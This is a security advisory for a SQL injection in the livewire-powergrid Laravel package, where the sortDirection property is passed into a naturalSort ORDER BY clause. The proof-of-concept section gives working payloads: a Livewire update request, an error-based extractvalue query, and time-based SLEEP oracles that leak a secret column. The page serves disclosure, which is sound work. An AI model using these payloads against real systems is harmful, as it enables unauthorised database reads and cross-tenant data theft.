GHSA-7fgc-3h6c-698r

Suggest an improvement
Source
https://github.com/advisories/GHSA-7fgc-3h6c-698r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7fgc-3h6c-698r/GHSA-7fgc-3h6c-698r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7fgc-3h6c-698r
Aliases
Published
2026-11-25T19:44:57Z
Modified
2026-11-25T20:00:04Z
Severity
  • 7.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L CVSS Calculator
Summary
livewire-powergrid: SQL injection via sortDirection in naturalSort queries
Details

[Description]

The public Livewire property sortDirection is interpolated verbatim into a raw SQL ORDER BY clause and is not restricted to asc/desc, allowing arbitrary SQL injection through POST /livewire/update.

Data flow

  • Source — src/Concerns/Sorting.php: public string $sortDirection; is a Livewire-bound property with no whitelist/validation (it is only assigned and flipped by reverseSort()), so it is fully attacker-controlled via the standard Livewire update endpoint.
  • Taint — src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php, resolvePlaceholders():
    preg_replace_callback('/\{(\w+)\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql);
    
    substitutes {sortDirection} with the raw property value.
  • Sink — src/DataSource/Support/Sql.php::getSortSqlByDriver() builds the naturalSort expression, e.g. "... {sortDirection}" / "CAST(...) {sortDirection}", which is passed to orderByRaw(). The tainted direction lands directly in the SQL string.

Why the framework mitigation does not apply (the bypass)

Normally the Sorting pipeline calls orderBy(resolveSortField($sortField), $sortDirection), and Laravel validates the direction (Order direction must be "asc" or "desc".). Setting sortField="" makes the Sorting pipeline skip (filled('') is false), so the validating orderBy never runs — but the ColumnRawQueries pipeline still applies the naturalSort orderByRaw unconditionally with the attacker-controlled {sortDirection}. The result is arbitrary SQL in the ORDER BY, bypassing Laravel's direction validation entirely.

[Proof of Concept]

Lab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a PowerGrid table whose name column uses ->naturalSort(true).

Request (standard Livewire update; CSRF token taken from the page as any Livewire call):

POST /livewire/update
components[0].snapshot = <the PowerGrid component snapshot from the page>
components[0].updates  = {"sortField": "", "sortDirection": "asc, (SELECT SLEEP(3))"}

Observed results:

  • Error-based (HTTP 500, SQLSTATE[HY000] 1105) — the injected subquery reaches the database verbatim:
    select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,
      (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0
    
  • Blind time-based (arbitrary data extraction):
    asc                                 -> 0.02s   (baseline)
    asc, (SELECT SLEEP(3))              -> 9.04s   (injection executes)
    asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')  -> 9.03s  (TRUE — value leaks)
    ... LIKE 'ZZZ%'                     -> 0.02s   (FALSE — boolean oracle)
    

A parameterised PoC script is available and can be attached privately on request.

[Impact]

Any actor who can reach a PowerGrid table using naturalSort and control the sortDirection property can read arbitrary data from the database (other tables, password hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are blocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality), but complete for readable data. In multi-tenant/admin apps this enables full cross-tenant data exfiltration.

Database specific
{
    "cwe_ids":  [
        "CWE-89"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-11-25T19:44:57Z",
    "nvd_published_at":  "2026-11-11T22:17:28Z",
    "severity":  "HIGH"
}
References

Affected packages

Packagist / power-components/livewire-powergrid

Package

Name
power-components/livewire-powergrid
Purl
pkg:composer/power-components/livewire-powergrid

Affected ranges

Type
ECOSYSTEM
Events
Introduced
6.0.0
Fixed
6.10.4

Affected versions

v6.*
v6.0.0
v6.0.1
v6.0.2
v6.0.3
v6.0.4
v6.0.5
v6.0.6
v6.1.0
v6.1.1
v6.1.2
v6.1.3
v6.1.4
v6.1.5
v6.1.6
v6.1.7
v6.1.8
v6.1.9
v6.1.10
v6.1.11
v6.1.12
v6.1.13
v6.1.14
v6.1.15
v6.1.16
v6.2.0
v6.2.1
v6.2.2
v6.3.0
v6.3.1
v6.3.2
v6.4.0
v6.4.1
v6.4.2
v6.5.0
v6.5.1
v6.5.2
v6.5.3
v6.5.4
v6.5.5
v6.6.0
v6.6.1
v6.6.2
v6.6.3
v6.6.4
v6.6.5
v6.6.6
v6.6.7
v6.7.0
v6.7.1
v6.7.2
v6.7.3
v6.7.4
v6.7.5
v6.7.6
v6.7.7
v6.8.0
v6.8.1
v6.8.2
v6.9.0
v6.9.1
v6.9.2
v6.10.0
v6.10.1
v6.10.2
v6.10.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7fgc-3h6c-698r/GHSA-7fgc-3h6c-698r.json"